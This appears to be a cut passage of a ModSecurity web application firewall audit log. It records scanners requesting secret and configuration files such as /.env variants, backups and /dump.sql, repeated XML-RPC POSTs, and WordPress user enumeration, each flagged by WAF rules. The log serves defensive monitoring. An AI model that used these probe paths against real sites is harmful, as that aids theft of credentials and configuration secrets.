"210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.prod"] [unique_id "aE9G3VR6EeXjkGzEkblp-wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025949565642 712988 (- - -) Stopwatch2: 1750025949565642 712988; combined=2115, p1=442, p2=1578, p3=0, p4=0, p5=94, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0eec0e6c-Z-- --6dcb6d06-A-- [16/Jun/2025:03:49:16.590824 +0530] aE9G41R6EeXjkGzEkblp_gAAAAs 185.177.72.210 55872 127.0.0.1 7081 --6dcb6d06-B-- GET /.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6dcb6d06-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6d33677283e0ea8966be4d15bb497271750025956; expires=Sun, 15 Jun 2025 23:19:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6dcb6d06-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.cfg"] [unique_id "aE9G41R6EeXjkGzEkblp_gAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025955921314 669573 (- - -) Stopwatch2: 1750025955921314 669573; combined=1931, p1=375, p2=1458, p3=0, p4=0, p5=97, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6dcb6d06-Z-- --59617137-A-- [16/Jun/2025:03:49:19.663874 +0530] aE9G5vNXjUHq-Wm7C_8TXAAAAAQ 185.177.72.210 55982 127.0.0.1 7081 --59617137-B-- GET /backup/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --59617137-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e47f1183bac53c0cc7e046f8fa2a5fd1750025959; expires=Sun, 15 Jun 2025 23:19:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --59617137-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.bak"] [unique_id "aE9G5vNXjUHq-Wm7C_8TXAAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.bak"] [unique_id "aE9G5vNXjUHq-Wm7C_8TXAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025958999493 664454 (- - -) Stopwatch2: 1750025958999493 664454; combined=2695, p1=459, p2=2104, p3=0, p4=0, p5=132, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --59617137-Z-- --61e9d05e-A-- [16/Jun/2025:03:49:20.685546 +0530] aE9G6FR6EeXjkGzEkblqAAAAAAs 185.177.72.210 51082 127.0.0.1 7081 --61e9d05e-B-- GET /:8000/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61e9d05e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbd290b3e6af443b5b9e384e6e5bfd591750025960; expires=Sun, 15 Jun 2025 23:19:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61e9d05e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.c9/metadata/environnement/.env"] [unique_id "aE9G6FR6EeXjkGzEkblqAAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025960030390 655246 (- - -) Stopwatch2: 1750025960030390 655246; combined=1805, p1=378, p2=1306, p3=0, p4=0, p5=120, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61e9d05e-Z-- --4223cc56-A-- [16/Jun/2025:03:50:02.375411 +0530] aE9HERAGYpjnkyifC9YlcwAAAAU 128.199.112.101 41488 127.0.0.1 7081 --4223cc56-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4223cc56-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4223cc56-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9HERAGYpjnkyifC9YlcwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026001357103 1018374 (- - -) Stopwatch2: 1750026001357103 1018374; combined=2854, p1=526, p2=1973, p3=37, p4=57, p5=164, sr=146, sw=97, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4223cc56-Z-- --c2ae2f66-A-- [16/Jun/2025:03:50:46.679128 +0530] aE9HPorLgrklqy57Kk2hZgAAAAg 85.204.70.102 60254 127.0.0.1 7081 --c2ae2f66-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: 3econcepts.cstechns.com X-Real-IP: 85.204.70.102 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 --c2ae2f66-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://3econcepts.cstechns.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type X-WP-Total: 1 X-WP-TotalPages: 1 Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --c2ae2f66-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||3econcepts.cstechns.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||3econcepts.cstechns.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "3econcepts.cstechns.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9HPorLgrklqy57Kk2hZgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/3econcepts.cstechns.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026046303527 375675 (- - -) Stopwatch2: 1750026046303527 375675; combined=2251, p1=383, p2=1788, p3=0, p4=0, p5=79, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c2ae2f66-Z-- --81c47a64-A-- [16/Jun/2025:03:51:02.596392 +0530] aE9HTX2GhYywD7zZgx7_gAAAAAM 128.199.112.101 43398 127.0.0.1 7081 --81c47a64-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 509 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --81c47a64-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --81c47a64-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9HTX2GhYywD7zZgx7_gAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026061443304 1153180 (- - -) Stopwatch2: 1750026061443304 1153180; combined=2324, p1=383, p2=1561, p3=43, p4=65, p5=170, sr=103, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --81c47a64-Z-- --e0b3394e-A-- [16/Jun/2025:03:51:14.020277 +0530] aE9HWbIOonfcVDbK8_bqVQAAAAA 185.177.72.210 49720 127.0.0.1 7081 --e0b3394e-B-- GET /:8008/.env.4 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e0b3394e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ecd0bfa436dd9f1801c6e822ff283a681750026073; expires=Sun, 15 Jun 2025 23:21:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e0b3394e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.4"] [unique_id "aE9HWbIOonfcVDbK8_bqVQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026073333363 686978 (- - -) Stopwatch2: 1750026073333363 686978; combined=1815, p1=389, p2=1326, p3=0, p4=0, p5=100, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0b3394e-Z-- --499b6412-A-- [16/Jun/2025:03:51:16.064601 +0530] aE9HW1R6EeXjkGzEkblqLgAAAAs 185.177.72.210 49800 127.0.0.1 7081 --499b6412-B-- GET /app/etc/local.xml.vmachine.rm HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --499b6412-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4ba127a5f6968780ed1dc1574ada4e31750026075; expires=Sun, 15 Jun 2025 23:21:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --499b6412-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.vmachine.rm"] [unique_id "aE9HW1R6EeXjkGzEkblqLgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026075401529 663144 (- - -) Stopwatch2: 1750026075401529 663144; combined=1943, p1=436, p2=1420, p3=0, p4=0, p5=87, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --499b6412-Z-- --4ccab964-A-- [16/Jun/2025:03:51:21.979031 +0530] aE9HYVR6EeXjkGzEkblqMQAAAAs 185.177.72.210 53096 127.0.0.1 7081 --4ccab964-B-- GET /packed/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4ccab964-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=05f481293dd2e88a873443d6690c06641750026081; expires=Sun, 15 Jun 2025 23:21:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4ccab964-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packed/.env"] [unique_id "aE9HYVR6EeXjkGzEkblqMQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026081333208 645886 (- - -) Stopwatch2: 1750026081333208 645886; combined=1912, p1=387, p2=1437, p3=0, p4=0, p5=88, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4ccab964-Z-- --c1673511-A-- [16/Jun/2025:03:51:39.379283 +0530] aE9HclR6EeXjkGzEkblqOgAAAAs 185.177.72.210 48816 127.0.0.1 7081 --c1673511-B-- GET /:8000/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c1673511-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9eae5c46aa3da07135add9cbac2fa4361750026099; expires=Sun, 15 Jun 2025 23:21:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c1673511-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/core/.env"] [unique_id "aE9HclR6EeXjkGzEkblqOgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026098710150 669209 (- - -) Stopwatch2: 1750026098710150 669209; combined=1891, p1=373, p2=1407, p3=0, p4=0, p5=111, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1673511-Z-- --adac4a51-A-- [16/Jun/2025:03:51:47.317468 +0530] aE9HelxTdrwJSUMoZvGv1QAAAAc 185.177.72.210 54868 127.0.0.1 7081 --adac4a51-B-- GET /dump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --adac4a51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e56047b09af51a26a0ae3be4f8bfd4cb1750026107; expires=Sun, 15 Jun 2025 23:21:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --adac4a51-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dump.sql"] [unique_id "aE9HelxTdrwJSUMoZvGv1QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026106661553 655977 (- - -) Stopwatch2: 1750026106661553 655977; combined=1897, p1=350, p2=1463, p3=0, p4=0, p5=84, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --adac4a51-Z-- --d3344e59-A-- [16/Jun/2025:03:51:52.419476 +0530] aE9Hf7IOonfcVDbK8_bqZwAAAAA 185.177.72.210 46874 127.0.0.1 7081 --d3344e59-B-- GET /:8888/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d3344e59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=121b1d003f9f5f071e9f726ee9372afc1750026112; expires=Sun, 15 Jun 2025 23:21:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d3344e59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/env/.env"] [unique_id "aE9Hf7IOonfcVDbK8_bqZwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026111712613 706942 (- - -) Stopwatch2: 1750026111712613 706942; combined=1808, p1=353, p2=1345, p3=0, p4=0, p5=110, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d3344e59-Z-- --40abd518-A-- [16/Jun/2025:03:52:02.738136 +0530] aE9HiX2GhYywD7zZgx7_nQAAAAM 128.199.112.101 45858 127.0.0.1 7081 --40abd518-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --40abd518-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --40abd518-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified 